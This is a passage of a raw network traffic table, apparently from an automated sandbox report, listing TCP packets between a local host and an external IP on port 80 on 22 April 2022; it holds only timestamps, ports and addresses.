                                          Apr 22, 2022 16:17:42.634430885 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634434938 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634437084 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634438992 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634438992 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634442091 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634443998 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634445906 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634464979 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634496927 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634502888 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634557009 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634562016 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634613037 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634619951 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634669065 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634717941 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634725094 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634747028 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634782076 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634819031 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634840012 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634851933 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634893894 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634931087 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634957075 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.634985924 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.634999990 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635041952 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635096073 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635154009 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635210991 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635268927 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635310888 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635317087 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635318995 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635324955 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635380983 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635390997 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635438919 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635441065 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635493040 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635504961 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635550022 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635550976 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635606050 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635613918 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635663986 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635723114 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635724068 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635752916 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635776043 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635827065 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635831118 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635847092 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635889053 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635893106 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635943890 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.635950089 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635998964 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.635999918 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636054039 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636110067 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636115074 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636167049 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636171103 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636220932 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636229038 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636276007 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636329889 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636384010 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636436939 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636437893 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636441946 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636456966 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636492968 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636493921 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636548996 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636552095 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636609077 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636610031 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636662006 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636662960 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636718988 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.636723995 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.636782885 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.706576109 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706614017 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706636906 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706660986 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706685066 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706708908 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706732988 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706765890 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.706818104 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.706909895 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706963062 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.706967115 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.706990957 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.707014084 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.707017899 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.707037926 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.707046986 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.707086086 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.707099915 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.707123041 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.707151890 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.707284927 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.777187109 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.779591084 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.801275969 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.871871948 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.871933937 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.871953011 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.871968985 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.871987104 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872004032 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872021914 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872021914 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872056961 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872066975 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872085094 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872095108 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872102022 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872119904 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872123957 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872137070 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872148991 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872153044 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872169971 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872190952 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872206926 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872225046 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872237921 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872241974 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872260094 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872266054 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872277021 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872292995 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872293949 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872311115 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872318983 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872351885 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872358084 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872381926 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872401953 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872416973 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872421980 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872477055 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872478962 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872495890 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872512102 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872524023 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872546911 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872553110 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872565985 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872582912 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872601032 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872603893 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872627020 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872641087 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872652054 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872661114 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872678041 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872688055 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872695923 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872711897 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872731924 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872750044 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872750998 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872769117 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872783899 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872785091 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872802973 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872809887 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872837067 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872840881 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872853994 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872859955 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872872114 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872889996 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872895956 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872925997 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872925997 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872945070 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872958899 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872961044 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872978926 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.872988939 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.872997046 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873017073 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873038054 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873044014 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873055935 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873075008 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873084068 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873091936 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873121023 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873131037 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873145103 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873147964 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873164892 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873171091 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873183012 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873195887 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873223066 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873224974 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873245001 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873262882 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873267889 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873280048 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873318911 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873320103 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873337984 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873354912 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873366117 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873392105 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873408079 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873410940 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873429060 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873445988 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873449087 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873471975 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873486042 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873502970 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873519897 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873521090 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873558998 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873563051 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873581886 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873583078 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873600006 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873619080 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873621941 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873661995 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873661995 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873681068 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873698950 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873708010 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873718023 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873744011 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873759985 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873779058 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873797894 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873807907 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873832941 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873816013 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873857975 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873867035 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873877048 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873889923 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873894930 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873918056 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873934031 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873950005 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873953104 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873970985 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.873986959 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.873987913 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874006033 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874011040 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874046087 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874049902 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874064922 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874082088 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874083042 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874102116 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874111891 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874144077 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874144077 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874180079 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874181986 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874207020 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874224901 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874228954 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874244928 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874263048 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874269962 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874281883 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874295950 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874313116 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874317884 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874334097 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874344110 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874351978 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874366999 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874371052 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874389887 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874394894 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874408960 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874428034 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874432087 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874447107 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874458075 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874464035 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874483109 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874495029 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874500990 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874517918 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874531031 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874537945 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874555111 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874557972 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874572992 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874583960 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874591112 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874609947 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874619961 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874629021 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874648094 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874656916 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874665022 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874681950 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874684095 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874701977 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874720097 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874720097 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874747038 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874757051 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874764919 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874783993 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874785900 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874802113 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874819994 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874821901 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874838114 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874855995 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874861002 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874876976 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874881983 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874895096 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874907970 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874912977 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874932051 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874944925 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874949932 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874968052 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.874982119 CEST4984280192.168.2.6193.56.146.148
                                          Apr 22, 2022 16:17:42.874985933 CEST8049842193.56.146.148192.168.2.6
                                          Apr 22, 2022 16:17:42.875003099 CEST8049842193.56.146.148192.168.2.6
